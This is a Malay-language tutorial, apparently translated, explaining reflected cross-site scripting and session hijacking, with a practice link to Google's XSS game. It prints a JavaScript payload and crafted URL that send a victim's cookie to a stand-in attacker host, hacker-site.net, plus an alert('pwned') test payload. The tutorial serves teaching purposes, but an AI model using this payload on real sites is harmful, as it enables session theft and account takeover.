Apakah Skrip Merentas Tapak?
Skrip Silang Tapak (XSS) ialah salah satu teknik serangan paling popular hari ini, dikenali sebagai Godfather of Attack, dan selama bertahun-tahun telah disenaraikan sebagai teknik serangan paling berbahaya untuk aplikasi. web.
Jangan panggil ia singkatan CSS untuk mengelakkan kekeliruan dengan konsep Cascading Style Sheet HTML.
Teknik
XSS adalah berdasarkan memasukkan skrip berbahaya ke dalam kod sumber aplikasi web. Untuk melaksanakan kod Javascript berniat jahat untuk mengambil alih sesi log masuk pengguna.
Untuk memahami dengan lebih baik, mari kita pertimbangkan contoh berikut. Aplikasi web yang membenarkan mencetak nilai yang kami hantar melalui URL, dengan mengandaikan kami memasukkan pembolehubah nama nilai Ping:

Semuanya baik setakat ini, mari semak kod sumber html:
![Web7: Eksploitasi XSS – Bahagian 1: XSS yang dicerminkan Web7: Eksploitasi XSS – Bahagian 1: XSS yang dicerminkan]()
Apa yang mudah dilihat ialah nilai nama yang kami masukkan telah dimasukkan ke dalam kod sumber. Jadi kemungkinan apa sahaja yang diimport juga boleh diselitkan. Masalah menjadi serius jika nilai yang dimasukkan bukan rentetan biasa seperti di atas tetapi sekeping kod yang berpotensi berbahaya, seperti ini:
Cuba lagi dengan nilai di atas:
![Web7: Eksploitasi XSS – Bahagian 1: XSS yang dicerminkan Web7: Eksploitasi XSS – Bahagian 1: XSS yang dicerminkan]()
Daripada contoh ini kita boleh membuat kesimpulan dua perkara. Pertama, pembolehubah nama boleh menerima sebarang nilai input dan menghantarnya ke pelayan untuk diproses. Kedua, pelayan tidak mengawal nilai input ini sebelum mengembalikannya ke penyemak imbas. Ini membawa kepada kod javascript dimasukkan ke dalam kod sumber.
XSS secara amnya dibahagikan kepada 3 jenis utama: Reflected, Stored dan DOM based. Dalam artikel ini saya akan menyebut terutamanya teknik XSS Reflected.
Sehingga 75% daripada teknik XSS adalah berdasarkan XSS Reflected. Ia dipanggil tercermin kerana dalam jenis senario eksploitasi ini, penggodam mesti menghantar mangsa URL yang mengandungi kod hasad (biasanya javascript). Mangsa hanya perlu meminta URL ini dan penggodam akan segera menerima respons yang mengandungi hasil yang diingini (refleksitiviti ditunjukkan di sini). Selain itu, ia juga dikenali sebagai XSS pesanan pertama.
Senario perlombongan kehidupan sebenar
Terdapat banyak cara untuk mengeksploitasi ralat Reflected XSS, salah satu cara yang paling terkenal ialah mengambil alih sesi pengguna, dengan itu mengakses data dan mendapatkan hak mereka di tapak web. .
Butiran diterangkan dalam langkah berikut:
![Web7: Eksploitasi XSS – Bahagian 1: XSS yang dicerminkan Web7: Eksploitasi XSS – Bahagian 1: XSS yang dicerminkan]()
1. Pengguna log masuk ke web dan menganggap sesi diberikan:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. Entah bagaimana, penggodam menghantar URL kepada pengguna:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;
Katakan example.com ialah tapak web yang dilawati mangsa, hacker-site.net ialah tapak yang dicipta oleh penggodam
3. Mangsa mengakses URL di atas
4. Pelayan bertindak balas kepada mangsa, bersama-sama dengan data yang terkandung dalam permintaan (coretan javascript penggodam)
5. Pelayar mangsa menerima respons dan melaksanakan javascript
6. Javascript sebenar yang dibuat oleh penggodam adalah seperti berikut:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
Baris arahan di atas pada dasarnya membuat permintaan ke tapak penggodam dengan parameternya ialah kuki pengguna:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
7. Dari tapak anda, penggodam akan menangkap kandungan permintaan di atas dan menganggap sesi pengguna akan diambil alih. Pada ketika ini, penggodam boleh menyamar sebagai mangsa dan menggunakan semua hak di laman web yang dimiliki mangsa.
berlatih
Google telah mencipta halaman untuk berlatih mengeksploitasi ralat XSS di sini: https://xss-game.appspot.com
Matlamat cabaran ini ialah anda mesti menyuntik skrip untuk muncul pop timbul. Cabaran pertama adalah untuk menggambarkan teknik yang dicerminkan, kod eksploitasi agak mudah:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')
Semoga berjaya!